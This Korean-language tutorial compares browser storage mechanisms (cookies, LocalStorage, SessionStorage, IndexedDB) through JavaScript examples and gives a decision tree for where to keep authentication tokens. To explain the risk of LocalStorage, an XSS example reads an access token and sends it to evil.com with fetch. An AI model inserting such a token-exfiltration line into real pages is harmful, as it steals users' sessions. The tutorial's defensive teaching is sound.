브라우저 저장소 비교 — Cookie, LocalStorage, SessionStorage, IndexedDB

// 쿠키 설정
document.cookie = "theme=dark; max-age=86400; path=/";

// 쿠키 읽기 — 모든 쿠키가 하나의 문자열로 반환됨
console.log(document.cookie); // "theme=dark; user=john"

// 쿠키 삭제 — max-age를 0으로 설정
document.cookie = "theme=; max-age=0; path=/";

// 보안 속성을 모두 적용한 쿠키 설정
document.cookie = [
  "sessionId=abc123",
  "max-age=3600",       // 1시간 후 만료
  "path=/",             // 모든 경로에서 접근 가능
  "Secure",             // HTTPS에서만 전송
  "SameSite=Strict",    // 같은 사이트 요청에서만 전송
  // HttpOnly는 서버에서만 설정 가능 — JS로는 설정 불가
].join("; ");

// 데이터 저장
localStorage.setItem("username", "john");

// 데이터 읽기
const name = localStorage.getItem("username"); // "john"

// 데이터 삭제
localStorage.removeItem("username");

// 전체 삭제
localStorage.clear();

// 객체 저장 — 반드시 JSON 변환 필요
const user = { name: "john", age: 25 };
localStorage.setItem("user", JSON.stringify(user));
const saved = JSON.parse(localStorage.getItem("user"));

// 흔한 실수
localStorage.setItem("user", { name: "john" });
localStorage.getItem("user"); // "[object Object]" — 데이터 손실!

// 다른 탭에서 LocalStorage가 변경되면 호출됨
window.addEventListener("storage", (event) => {
  console.log(`키: ${event.key}`);
  console.log(`이전 값: ${event.oldValue}`);
  console.log(`새 값: ${event.newValue}`);
});

// LocalStorage와 동일한 API
sessionStorage.setItem("tempData", "임시 데이터");
sessionStorage.getItem("tempData");
sessionStorage.removeItem("tempData");
sessionStorage.clear();

// 1. 데이터베이스 열기 (이름, 버전)
const request = indexedDB.open("MyDatabase", 1);

// 2. 최초 생성 또는 버전 업그레이드 시 스키마 정의
request.onupgradeneeded = (event) => {
  const db = event.target.result;

  // 객체 저장소(Object Store) 생성 — RDB의 테이블과 비슷
  const store = db.createObjectStore("users", { keyPath: "id" });

  // 인덱스 생성 — 검색 성능 향상
  store.createIndex("nameIndex", "name", { unique: false });
};

// 3. DB 열기 성공
request.onsuccess = (event) => {
  const db = event.target.result;

  // 트랜잭션 시작
  const tx = db.transaction("users", "readwrite");
  const store = tx.objectStore("users");

  // 데이터 추가 — 문자열뿐 아니라 객체, 배열, Blob 등 저장 가능
  store.add({ id: 1, name: "john", age: 25 });
  store.add({ id: 2, name: "jane", age: 30 });

  // 데이터 읽기
  const getRequest = store.get(1);
  getRequest.onsuccess = () => {
    console.log(getRequest.result); // { id: 1, name: "john", age: 25 }
  };

  tx.oncomplete = () => {
    console.log("트랜잭션 완료");
  };
};

request.onerror = (event) => {
  console.error("DB 열기 실패:", event.target.error);
};

// idb 라이브러리 사용 예시 — Promise 기반으로 훨씬 깔끔
import { openDB } from "idb";

async function saveUser(user) {
  const db = await openDB("MyDatabase", 1, {
    upgrade(db) {
      db.createObjectStore("users", { keyPath: "id" });
    },
  });

  // 트랜잭션 + 저장을 한 줄로
  await db.put("users", user);

  // 조회도 간단
  const saved = await db.get("users", user.id);
  console.log(saved);
}

// XSS 공격 시나리오 — 공격자 스크립트가 실행되면
const token = localStorage.getItem("accessToken");
// 토큰을 공격자 서버로 전송
fetch(`https://evil.com/steal?token=${token}`);

인증 토큰 저장 위치 결정 트리:

서버에서 쿠키를 설정할 수 있는가?
├── Yes → HttpOnly + Secure + SameSite=Strict 쿠키 ✅ (가장 안전)
└── No (SPA에서 직접 관리해야 하는 경우)
    ├── 토큰 수명이 짧은가? (Access Token)
    │   └── 메모리(변수)에 저장 → 새로고침 시 재발급
    └── Refresh Token이 필요한가?
        └── HttpOnly 쿠키로 서버가 설정 ✅

// LocalStorage가 적합 — 영구 보존, 서버 전송 불필요
function saveThemePreference(theme) {
  localStorage.setItem("theme", theme);
}

function loadThemePreference() {
  return localStorage.getItem("theme") || "light";
}

// 페이지 로드 시 즉시 적용
document.documentElement.setAttribute("data-theme", loadThemePreference());

// SessionStorage가 적합 — 탭 단위 격리, 탭 종료 시 자동 삭제
function saveFormStep(step, data) {
  const formData = JSON.parse(sessionStorage.getItem("signupForm") || "{}");
  formData[`step${step}`] = data;
  sessionStorage.setItem("signupForm", JSON.stringify(formData));
}

// 다른 탭에서 같은 폼을 열어도 데이터가 섞이지 않음

// IndexedDB가 적합 — 대용량, 비동기, 구조화 데이터
import { openDB } from "idb";

async function cacheApiResponse(endpoint, data) {
  const db = await openDB("AppCache", 1, {
    upgrade(db) {
      const store = db.createObjectStore("responses", { keyPath: "endpoint" });
      store.createIndex("timestamp", "cachedAt");
    },
  });

  await db.put("responses", {
    endpoint,
    data,
    cachedAt: Date.now(),
  });
}

async function getCachedResponse(endpoint, maxAge = 5 * 60 * 1000) {
  const db = await openDB("AppCache", 1);
  const cached = await db.get("responses", endpoint);

  // 캐시가 있고, 만료되지 않았으면 반환
  if (cached && Date.now() - cached.cachedAt < maxAge) {
    return cached.data;
  }
  return null; // 캐시 미스 — 네트워크 요청 필요
}